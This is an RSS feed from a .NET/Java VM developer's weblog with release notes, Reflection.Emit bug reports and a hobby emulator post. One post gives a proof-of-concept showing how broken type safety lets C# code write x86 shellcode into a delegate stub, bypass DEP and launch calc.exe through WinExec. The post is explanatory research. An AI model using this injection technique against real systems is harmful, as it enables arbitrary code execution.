<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:pingback="http://madskills.com/public/xml/rss/module/pingback/" version="2.0">
  <channel>
    <title>IKVM.NET Weblog</title>
    <link>http://weblog.ikvm.net/</link>
    <description>The development of a Java VM for .NET</description>
    <copyright>Jeroen Frijters</copyright>
    <lastBuildDate>Fri, 26 Sep 2008 06:47:51 GMT</lastBuildDate>
    <generator>newtelligence dasBlog 1.5.3337.0</generator>
    <managingEditor>blog@jeroen.nu</managingEditor>
    <webMaster>blog@jeroen.nu</webMaster>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=57d8a17d-ed6f-48f8-a74a-9e37d14ccf3f</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=57d8a17d-ed6f-48f8-a74a-9e37d14ccf3f</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=57d8a17d-ed6f-48f8-a74a-9e37d14ccf3f</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=57d8a17d-ed6f-48f8-a74a-9e37d14ccf3f</wfw:commentRss>
      <slash:comments>2</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      Pardon me if I sound a little bitter today, but I just wasted almost a full day trying
      to work around <a href="/PermaLink.aspx?guid=afe525f9-1715-4db2-9d71-34892292cb87">this
      bug</a> only to be stopped by yet another bug that makes it impossible to generate
      two mutually dependent assemblies with Reflection.Emit.
   </p>
        <p>
      Also, while debugging I noticed another mind bogglingly stupid bug in the System.Reflection.Assembly
      source:
   </p>
        <p>
          <code>
            <font color="#0000ff">public override int</font> GetHashCode() { <font color="#0000ff">return
      base</font>.GetHashCode(); }</code>
        </p>
        <p>
      Why would you want to do that? Oh, of course! It's to get rid of a <a href="http://msdn.microsoft.com/en-us/library/xxhbfytk(VS.80).aspx">compiler
      warning</a>... If you override Equals() you should also override GetHashCode(), BUT
      NOT LIKE THIS.
   </p>
        <p>
      Here's small program that demonstrates the problem:
   </p>
        <p>
          <code>
            <font color="#0000ff">using</font> System;<br /><font color="#0000ff">using</font> System.Reflection;<br /><font color="#0000ff">using</font> System.Reflection.Emit;<br /><br /><font color="#0000ff">class</font><font color="#2b91af">Program</font><br />
      {<br />
        <font color="#0000ff">static void</font> Main()<br />
        {<br />
          <font color="#2b91af">AssemblyBuilder</font> ab1 = <font color="#2b91af">AppDomain</font>.CurrentDomain.DefineDynamicAssembly(<font color="#0000ff">new</font><font color="#2b91af">AssemblyName</font>(<font color="#a31515">"A"</font>),<br />
                                  <font color="#2b91af">AssemblyBuilderAccess</font>.Run);<br />
          <font color="#2b91af">ModuleBuilder</font> mod1 = ab1.DefineDynamicModule(<font color="#a31515">"A.dll"</font>);<br />
          <font color="#2b91af">TypeBuilder</font> tb1 = mod1.DefineType(<font color="#a31515">"T"</font>);<br />
          <font color="#2b91af">Type</font> type = tb1.CreateType();<br />
          <font color="#2b91af">Console</font>.WriteLine(ab1.Equals(type.Assembly));<br />
          <font color="#2b91af">Console</font>.WriteLine(ab1.GetHashCode()
      == type.Assembly.GetHashCode());<br />
        }<br />
      }</code>
        </p>
        <p>
      This prints out:
   </p>
        <p>
      True<br />
      False
   </p>
        <p>
      That clearly violates the <a href="http://msdn.microsoft.com/en-us/library/system.object.gethashcode.aspx">Object.GetHashCode()</a> contract.
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=57d8a17d-ed6f-48f8-a74a-9e37d14ccf3f" />
      </body>
      <title>More Reflection.Emit Brokenness</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=57d8a17d-ed6f-48f8-a74a-9e37d14ccf3f</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=57d8a17d-ed6f-48f8-a74a-9e37d14ccf3f</link>
      <pubDate>Fri, 26 Sep 2008 06:47:51 GMT</pubDate>
      <description>&lt;p&gt;
   Pardon me if I sound a little bitter today, but I just wasted almost a full day trying
   to work around &lt;a href="/PermaLink.aspx?guid=afe525f9-1715-4db2-9d71-34892292cb87"&gt;this
   bug&lt;/a&gt; only to be stopped by yet another bug that makes it impossible to generate
   two mutually dependent assemblies with Reflection.Emit.
&lt;/p&gt;
&lt;p&gt;
   Also, while debugging I noticed another mind bogglingly stupid bug in the System.Reflection.Assembly
   source:
&lt;/p&gt;
&lt;p&gt;
   &lt;code&gt;&lt;font color=#0000ff&gt;public override int&lt;/font&gt; GetHashCode() { &lt;font color=#0000ff&gt;return
   base&lt;/font&gt;.GetHashCode(); }&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
   Why would you want to do that? Oh, of course! It's to get rid of a &lt;a href="http://msdn.microsoft.com/en-us/library/xxhbfytk(VS.80).aspx"&gt;compiler
   warning&lt;/a&gt;... If you override Equals() you should also override GetHashCode(), BUT
   NOT LIKE THIS.
&lt;/p&gt;
&lt;p&gt;
   Here's small program that demonstrates the problem:
&lt;/p&gt;
&lt;p&gt;
   &lt;code&gt;&lt;font color=#0000ff&gt;using&lt;/font&gt; System;&lt;br&gt;
   &lt;font color=#0000ff&gt;using&lt;/font&gt; System.Reflection;&lt;br&gt;
   &lt;font color=#0000ff&gt;using&lt;/font&gt; System.Reflection.Emit;&lt;br&gt;
   &lt;br&gt;
   &lt;font color=#0000ff&gt;class&lt;/font&gt; &lt;font color=#2b91af&gt;Program&lt;/font&gt;
   &lt;br&gt;
   {&lt;br&gt;
   &amp;nbsp; &lt;font color=#0000ff&gt;static void&lt;/font&gt; Main()&lt;br&gt;
   &amp;nbsp; {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;AssemblyBuilder&lt;/font&gt; ab1 = &lt;font color=#2b91af&gt;AppDomain&lt;/font&gt;.CurrentDomain.DefineDynamicAssembly(&lt;font color=#0000ff&gt;new&lt;/font&gt; &lt;font color=#2b91af&gt;AssemblyName&lt;/font&gt;(&lt;font color=#a31515&gt;"A"&lt;/font&gt;),&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;AssemblyBuilderAccess&lt;/font&gt;.Run);&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;ModuleBuilder&lt;/font&gt; mod1 = ab1.DefineDynamicModule(&lt;font color=#a31515&gt;"A.dll"&lt;/font&gt;);&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;TypeBuilder&lt;/font&gt; tb1 = mod1.DefineType(&lt;font color=#a31515&gt;"T"&lt;/font&gt;);&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;Type&lt;/font&gt; type = tb1.CreateType();&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;Console&lt;/font&gt;.WriteLine(ab1.Equals(type.Assembly));&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;Console&lt;/font&gt;.WriteLine(ab1.GetHashCode()
   == type.Assembly.GetHashCode());&lt;br&gt;
   &amp;nbsp; }&lt;br&gt;
   }&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
   This prints out:
&lt;/p&gt;
&lt;p&gt;
   True&lt;br&gt;
   False
&lt;/p&gt;
&lt;p&gt;
   That clearly violates the &lt;a href="http://msdn.microsoft.com/en-us/library/system.object.gethashcode.aspx"&gt;Object.GetHashCode()&lt;/a&gt; contract.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=57d8a17d-ed6f-48f8-a74a-9e37d14ccf3f"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=57d8a17d-ed6f-48f8-a74a-9e37d14ccf3f</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=46cc8247-d64d-4162-98c5-71e342dcdfb2</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=46cc8247-d64d-4162-98c5-71e342dcdfb2</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=46cc8247-d64d-4162-98c5-71e342dcdfb2</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=46cc8247-d64d-4162-98c5-71e342dcdfb2</wfw:commentRss>
      <slash:comments>2</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      As with previous release candidates, this release includes strong named binaries and
      is considered to be (nearly) ready for production use. Please test this version and
      give feedback as soon as possible.
   </p>
        <p>
      Changes since previous snapshot:
   </p>
        <ul>
          <li>
         Changed version to 0.38.0.0 and strong named binaries.</li>
          <li>
         Added missing HTMLEntities.res resource.</li>
          <li>
         Re-introduced workaround for .NET JIT bug that causes .cctor not to run when a DynamicMethod
         invokes a method or gets/sets a field.</li>
        </ul>
        <p>
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-0.38.0.0.zip">ikvmbin-0.38.0.0.zip</a><br /><br />
      Sources: <a href="http://www.frijters.net/ikvm-0.38.0.0.zip">ikvm-0.38.0.0.zip</a>, <a href="http://www.frijters.net/classpath-0.95-stripped.zip">classpath-0.95-stripped.zip</a>, <a href="http://www.frijters.net/openjdk6-b12-stripped.zip">openjdk6-b12-stripped.zip</a></p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=46cc8247-d64d-4162-98c5-71e342dcdfb2" />
      </body>
      <title>IKVM 0.38 Release Candidate 0</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=46cc8247-d64d-4162-98c5-71e342dcdfb2</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=46cc8247-d64d-4162-98c5-71e342dcdfb2</link>
      <pubDate>Wed, 24 Sep 2008 06:07:13 GMT</pubDate>
      <description>&lt;p&gt;
   As with previous release candidates, this release includes strong named binaries and
   is considered to be (nearly) ready for production use. Please test this version and
   give feedback as soon as possible.
&lt;/p&gt;
&lt;p&gt;
   Changes since previous snapshot:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Changed version to 0.38.0.0 and strong named binaries.&lt;/li&gt;
   &lt;li&gt;
      Added missing HTMLEntities.res resource.&lt;/li&gt;
   &lt;li&gt;
      Re-introduced workaround for .NET JIT bug that causes .cctor not to run when a DynamicMethod
      invokes a method or gets/sets a field.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-0.38.0.0.zip"&gt;ikvmbin-0.38.0.0.zip&lt;/a&gt;
   &lt;br&gt;
   &lt;br&gt;
   Sources: &lt;a href="http://www.frijters.net/ikvm-0.38.0.0.zip"&gt;ikvm-0.38.0.0.zip&lt;/a&gt;, &lt;a href="http://www.frijters.net/classpath-0.95-stripped.zip"&gt;classpath-0.95-stripped.zip&lt;/a&gt;, &lt;a href="http://www.frijters.net/openjdk6-b12-stripped.zip"&gt;openjdk6-b12-stripped.zip&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=46cc8247-d64d-4162-98c5-71e342dcdfb2"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=46cc8247-d64d-4162-98c5-71e342dcdfb2</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=4c0db4e2-3ce0-4d43-aaa8-46a190cac857</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=4c0db4e2-3ce0-4d43-aaa8-46a190cac857</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=4c0db4e2-3ce0-4d43-aaa8-46a190cac857</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=4c0db4e2-3ce0-4d43-aaa8-46a190cac857</wfw:commentRss>
      <slash:comments>1</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
          <a href="http://sourceforge.net/projects/jac64">JaC64</a> is a open source Commodore
      64 emulator written in Java. I have many fond childhood memories of my C64, so
      I spent a little time fixing a couple of AWT issues and hacking together some sound
      support for ikvm. The sound patch is <a href="http://www.frijters.net/ikvm-jac64-sound.patch.txt">here</a>,
      but it won't go in because it is essentially hard coded for JaC64 and even then it
      doesn't really work, because it turns out that .NET has no decent sound API. The only
      API available is <a href="http://msdn.microsoft.com/en-us/library/system.media.soundplayer.aspx">SoundPlayer</a>,
      but it has an unacceptable latency (and can only play one sample at a time, so you
      can't hide the latency). JaC64 generates samples that are 0.25 seconds long and then
      plays these back to back. This means that you hear sound, but it is very choppy.
   </p>
        <p>
      Two obligatory screen shots, first the emulator application and second just the C64
      screen of my favorite game:
   </p>
        <p>
          <img border="0" src="http://www.frijters.net/jac64.png" />
        </p>
        <p>
          <img border="0" src="http://www.frijters.net/krakout.png" />
        </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=4c0db4e2-3ce0-4d43-aaa8-46a190cac857" />
      </body>
      <title>Running JaC64</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=4c0db4e2-3ce0-4d43-aaa8-46a190cac857</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=4c0db4e2-3ce0-4d43-aaa8-46a190cac857</link>
      <pubDate>Mon, 22 Sep 2008 05:19:53 GMT</pubDate>
      <description>&lt;p&gt;
   &lt;a href="http://sourceforge.net/projects/jac64"&gt;JaC64&lt;/a&gt; is a open source Commodore
   64 emulator written in Java. I have many fond childhood memories&amp;nbsp;of my C64, so
   I spent a little time fixing a couple of AWT issues and hacking together some sound
   support for ikvm. The sound patch is &lt;a href="http://www.frijters.net/ikvm-jac64-sound.patch.txt"&gt;here&lt;/a&gt;,
   but it won't go in because it is essentially hard coded for JaC64 and even then it
   doesn't really work, because it turns out that .NET has no decent sound API. The only
   API available is &lt;a href="http://msdn.microsoft.com/en-us/library/system.media.soundplayer.aspx"&gt;SoundPlayer&lt;/a&gt;,
   but it has an unacceptable latency (and can only play one sample at a time, so you
   can't hide the latency). JaC64 generates samples that are 0.25 seconds long and then
   plays these back to back. This means that you hear sound, but it is very choppy.
&lt;/p&gt;
&lt;p&gt;
   Two obligatory screen shots, first the emulator application and second just the C64
   screen of my favorite game:
&lt;/p&gt;
&lt;p&gt;
   &lt;img border=0 src="http://www.frijters.net/jac64.png"&gt;
&lt;/p&gt;
&lt;p&gt;
   &lt;img border=0 src="http://www.frijters.net/krakout.png"&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=4c0db4e2-3ce0-4d43-aaa8-46a190cac857"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=4c0db4e2-3ce0-4d43-aaa8-46a190cac857</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=fd1b08db-6211-4f5c-b9e8-2b66c604277a</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=fd1b08db-6211-4f5c-b9e8-2b66c604277a</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=fd1b08db-6211-4f5c-b9e8-2b66c604277a</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=fd1b08db-6211-4f5c-b9e8-2b66c604277a</wfw:commentRss>
      <slash:comments>3</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      This is the final development snapshot before the first 0.38 release candidate.
   </p>
        <p>
      Changes since previous development snapshot:
   </p>
        <ul>
          <li>
         Updated to OpenJDK 6 b12.</li>
          <li>
         Updated IKVM.OpenJDK.ClassLibrary.dll copyright notices.</li>
          <li>
         Removed hardcoded PublicKey from build process.</li>
          <li>
         Fixed ikvmc regression that caused using .NET generic types not to work.</li>
          <li>
         Added support to ikvmc for recognizing "access" bridge methods, so that they aren't
         hidden from other .NET code.</li>
          <li>
         Removed warnings from IKVM.OpenJDK.ClassLibrary ikvmc build step.</li>
        </ul>
        <p>
          <b>WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.</b>
        </p>
        <p>
      Development snapshots are intended for evaluating and keeping track of where the project
      is going, not for production usage. The binaries have not been extensively tested
      and are not strong named.
   </p>
        <p>
      This version supports .NET 2.0 SP1 and later. The binaries will run on Mono 2.0, but
      building on Mono 2.0 is not supported due an <a href="https://bugzilla.novell.com/show_bug.cgi?id=424663">open
      bug</a>.
   </p>
        <p>
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-0.37.3187.zip">ikvmbin-0.37.3187.zip</a></p>
        <p>
      The OpenJDK 6 b12 (re)source file needed to build from source are available here: <a href="http://www.frijters.net/openjdk6-b12-stripped.zip">openjdk6-b12-stripped.zip</a></p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=fd1b08db-6211-4f5c-b9e8-2b66c604277a" />
      </body>
      <title>New Development Snapshot</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=fd1b08db-6211-4f5c-b9e8-2b66c604277a</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=fd1b08db-6211-4f5c-b9e8-2b66c604277a</link>
      <pubDate>Mon, 22 Sep 2008 04:51:27 GMT</pubDate>
      <description>&lt;p&gt;
   This is the final development snapshot before the first 0.38 release candidate.
&lt;/p&gt;
&lt;p&gt;
   Changes since previous development snapshot:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Updated to OpenJDK 6 b12.&lt;/li&gt;
   &lt;li&gt;
      Updated IKVM.OpenJDK.ClassLibrary.dll copyright notices.&lt;/li&gt;
   &lt;li&gt;
      Removed hardcoded PublicKey from build process.&lt;/li&gt;
   &lt;li&gt;
      Fixed ikvmc regression that caused using .NET generic types not to work.&lt;/li&gt;
   &lt;li&gt;
      Added support to ikvmc for recognizing "access" bridge methods, so that they aren't
      hidden from other .NET code.&lt;/li&gt;
   &lt;li&gt;
      Removed warnings from IKVM.OpenJDK.ClassLibrary ikvmc build step.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   &lt;b&gt;WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
   Development snapshots are intended for evaluating and keeping track of where the project
   is going, not for production usage. The binaries have not been extensively tested
   and are not strong named.
&lt;/p&gt;
&lt;p&gt;
   This version supports .NET 2.0 SP1 and later. The binaries will run on Mono 2.0, but
   building on Mono 2.0&amp;nbsp;is not supported due an &lt;a href="https://bugzilla.novell.com/show_bug.cgi?id=424663"&gt;open
   bug&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-0.37.3187.zip"&gt;ikvmbin-0.37.3187.zip&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
   The OpenJDK 6 b12 (re)source file needed to build from source are available here: &lt;a href="http://www.frijters.net/openjdk6-b12-stripped.zip"&gt;openjdk6-b12-stripped.zip&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=fd1b08db-6211-4f5c-b9e8-2b66c604277a"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=fd1b08db-6211-4f5c-b9e8-2b66c604277a</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=3cc8beef-3424-488d-8429-50e244f15ccc</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=3cc8beef-3424-488d-8429-50e244f15ccc</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=3cc8beef-3424-488d-8429-50e244f15ccc</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=3cc8beef-3424-488d-8429-50e244f15ccc</wfw:commentRss>
      <slash:comments>3</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      Let's start out with some convenient types that allow bit twiddeling once we've subverted
      the type system:
   </p>
        <p>
          <code>
            <font color="#0000ff">class</font>
            <font color="#2b91af">Union1</font>
            <br />
      {<br />
        <font color="#0000ff">internal</font><font color="#0000ff">volatile</font><font color="#0000ff">int</font> i;<br />
        <font color="#0000ff">internal</font><font color="#0000ff">volatile</font><font color="#0000ff">int</font> j;<br />
      }<br /><br /><font color="#0000ff">class</font><font color="#2b91af">Union2</font><br />
      {<br />
        <font color="#0000ff">internal volatile object</font> o;<br />
        <font color="#0000ff">internal volatile int</font>[] arr;<br />
      }</code>
        </p>
        <p>
      Now we need a way to get two different references to the same object. This is where
      the exploit comes in, but since I'm not going to publish an exploit for an unpatched
      bug, we'll make do with something that works but requires full trust:
   </p>
        <p>
          <code>[<font color="#2b91af">StructLayout</font>(<font color="#2b91af">LayoutKind</font>.Explicit)]<br /><font color="#0000ff">struct</font><font color="#2b91af">UnsafeUnion</font><br />
      {<br />
        [<font color="#2b91af">FieldOffset</font>(0)]<br />
        <font color="#0000ff">internal</font><font color="#2b91af">Union1</font> u1;<br />
        [<font color="#2b91af">FieldOffset</font>(0)]<br />
        <font color="#0000ff">internal</font><font color="#2b91af">Union2</font> u2;<br />
      }<br /><br /><font color="#0000ff">static</font><font color="#2b91af">Union1</font> TypeSystemHole(<font color="#2b91af">Union2</font> u2)<br />
      {<br />
        <font color="#008000">// NOT ACTUALLY A SECURITY HOLE!</font><br />
        <font color="#008000">// You need full trust to execute this code.</font><br />
        <font color="#2b91af">UnsafeUnion</font> uu = <font color="#0000ff">new</font><font color="#2b91af">UnsafeUnion</font>();<br />
        uu.u2 = u2;<br />
        <font color="#0000ff">return</font> uu.u1;<br />
      }</code>
        </p>
        <p>
      Now for the interesting bit, getting some x86 code to execute:
   </p>
        <p>
          <code>
            <font color="#2b91af">Union1</font> u1;<br /><font color="#2b91af">Union2</font> u2 = <font color="#0000ff">new</font><font color="#2b91af">Union2</font>();<br />
      u1 = TypeSystemHole(u2);<br /><br /><font color="#008000">// u1 and u2 now reference the same object,<br />
      // meaning that we can now convert arbitrary integer<br />
      // into objects or arrays (and v.v.)<br /></font><br /><font color="#2b91af">ThreadStart</font> del = <font color="#0000ff">new </font><font color="#2b91af">ThreadStart</font>(DummyMethod);<br /><br /><font color="#008000">// A delegate provides an easy way to call the code we're<br />
      // generating. As it turns out, it is also a good way<br />
      // to bypass DEP, because the delegate stub is in writable<br />
      // executable memory.</font><br /><br />
      u2.o = del;<br />
      u1.j = u1.i;<br />
      u1.j = u2.arr[2] - 12;<br /><br /><font color="#008000">// Make the delegate object accessible via the object[],<br />
      // then get the address the delegate points to and make<br />
      // it accessible via the object[] reference.<br /></font><br /><font color="#008000">// The x86 code we're creating is:<br />
      //<br />
      // 6A 05            push 5 
      <br />
      // 68 xx xx xx xx   push offset string "calc.exe"<br />
      // B8 xx xx xx xx   mov eax,&lt;address of kernel32!WinExec&gt;<br />
      // FF D0            call eax<br />
      // C3              
      ret<br />
      // 
      <br /></font><br /><font color="#2b91af">MemoryStream</font> mem = <font color="#0000ff">new </font><font color="#2b91af">MemoryStream</font>();<br /><font color="#2b91af">BinaryWriter</font> bw = <font color="#0000ff">new </font><font color="#2b91af">BinaryWriter</font>(mem);<br />
      bw.Write((<font color="#0000ff">byte</font>)0x6A);<br />
      bw.Write((<font color="#0000ff">byte</font>)0x05);<br />
      bw.Write((<font color="#0000ff">byte</font>)0x68);<br />
      u2.o = <font color="#2b91af">Encoding</font>.ASCII.GetBytes(<font color="#a31515">"calc.exe\0"</font>);<br />
      bw.Write(u1.i + 8);<br />
      bw.Write((<font color="#0000ff">byte</font>)0xB8);<br />
      bw.Write(GetProcAddressAny(<font color="#a31515">"WinExec"</font>));<br />
      bw.Write((<font color="#0000ff">byte</font>)0xFF);<br />
      bw.Write((<font color="#0000ff">byte</font>)0xD0);<br />
      bw.Write((<font color="#0000ff">byte</font>)0xC3);<br />
      bw.Write(0);<br /><br /><font color="#008000">// Now that we've created the code, copy it into the delegate<br />
      // stub memory area.</font><br /><br /><font color="#0000ff">byte</font>[] tmp = mem.ToArray();<br /><font color="#0000ff">for</font> (<font color="#0000ff">int</font> i = 0; i &lt; tmp.Length
      / 4; i++)<br />
      {<br />
        u2.arr[1 + i] = <font color="#2b91af">BitConverter</font>.ToInt32(tmp,
      i * 4);<br />
      }<br /><br /><font color="#008000">// Invoke the delegate, which will result in running our<br />
      // code, instead of the delegate stub.<br /></font><br />
      del();</code>
        </p>
        <p>
      The missing piece is GetProcAddressAny. It basically searches memory for kernel32
      and looks up the address of the WinExec function.
   </p>
        <p>
      The full source is available here: <a href="http://www.frijters.net/TypeSafetyExploitPoC.cs.txt">TypeSafetyExploitPoC.cs</a></p>
        <p>
      Note that this PoC requires full trust and obviously only works on x86, but all the
      ideas are applicable to x64 as well.
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=3cc8beef-3424-488d-8429-50e244f15ccc" />
      </body>
      <title>Writing a .NET Security Exploit PoC</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=3cc8beef-3424-488d-8429-50e244f15ccc</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=3cc8beef-3424-488d-8429-50e244f15ccc</link>
      <pubDate>Sat, 13 Sep 2008 07:03:01 GMT</pubDate>
      <description>&lt;p&gt;
   Let's start out with some convenient types that allow bit twiddeling once we've subverted
   the type system:
&lt;/p&gt;
&lt;p&gt;
   &lt;code&gt;&lt;font color=#0000ff&gt;class&lt;/font&gt; &lt;font color=#2b91af&gt;Union1&lt;/font&gt;
   &lt;br&gt;
   {&lt;br&gt;
   &amp;nbsp; &lt;font color=#0000ff&gt;internal&lt;/font&gt; &lt;font color=#0000ff&gt;volatile&lt;/font&gt; &lt;font color=#0000ff&gt;int&lt;/font&gt; i;&lt;br&gt;
   &amp;nbsp; &lt;font color=#0000ff&gt;internal&lt;/font&gt; &lt;font color=#0000ff&gt;volatile&lt;/font&gt; &lt;font color=#0000ff&gt;int&lt;/font&gt; j;&lt;br&gt;
   }&lt;br&gt;
   &lt;br&gt;
   &lt;font color=#0000ff&gt;class&lt;/font&gt; &lt;font color=#2b91af&gt;Union2&lt;/font&gt;
   &lt;br&gt;
   {&lt;br&gt;
   &amp;nbsp; &lt;font color=#0000ff&gt;internal volatile object&lt;/font&gt; o;&lt;br&gt;
   &amp;nbsp; &lt;font color=#0000ff&gt;internal volatile int&lt;/font&gt;[] arr;&lt;br&gt;
   }&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
   Now we need a way to get two different references to the same object. This is where
   the exploit comes in, but since I'm not going to publish an exploit for an unpatched
   bug, we'll make do with something that works but requires full trust:
&lt;/p&gt;
&lt;p&gt;
   &lt;code&gt;[&lt;font color=#2b91af&gt;StructLayout&lt;/font&gt;(&lt;font color=#2b91af&gt;LayoutKind&lt;/font&gt;.Explicit)]&lt;br&gt;
   &lt;font color=#0000ff&gt;struct&lt;/font&gt; &lt;font color=#2b91af&gt;UnsafeUnion&lt;/font&gt;
   &lt;br&gt;
   {&lt;br&gt;
   &amp;nbsp; [&lt;font color=#2b91af&gt;FieldOffset&lt;/font&gt;(0)]&lt;br&gt;
   &amp;nbsp; &lt;font color=#0000ff&gt;internal&lt;/font&gt; &lt;font color=#2b91af&gt;Union1&lt;/font&gt; u1;&lt;br&gt;
   &amp;nbsp; [&lt;font color=#2b91af&gt;FieldOffset&lt;/font&gt;(0)]&lt;br&gt;
   &amp;nbsp; &lt;font color=#0000ff&gt;internal&lt;/font&gt; &lt;font color=#2b91af&gt;Union2&lt;/font&gt; u2;&lt;br&gt;
   }&lt;br&gt;
   &lt;br&gt;
   &lt;font color=#0000ff&gt;static&lt;/font&gt; &lt;font color=#2b91af&gt;Union1&lt;/font&gt; TypeSystemHole(&lt;font color=#2b91af&gt;Union2&lt;/font&gt; u2)&lt;br&gt;
   {&lt;br&gt;
   &amp;nbsp; &lt;font color=#008000&gt;// NOT ACTUALLY A SECURITY HOLE!&lt;/font&gt;
   &lt;br&gt;
   &amp;nbsp; &lt;font color=#008000&gt;// You need full trust to execute this code.&lt;/font&gt;
   &lt;br&gt;
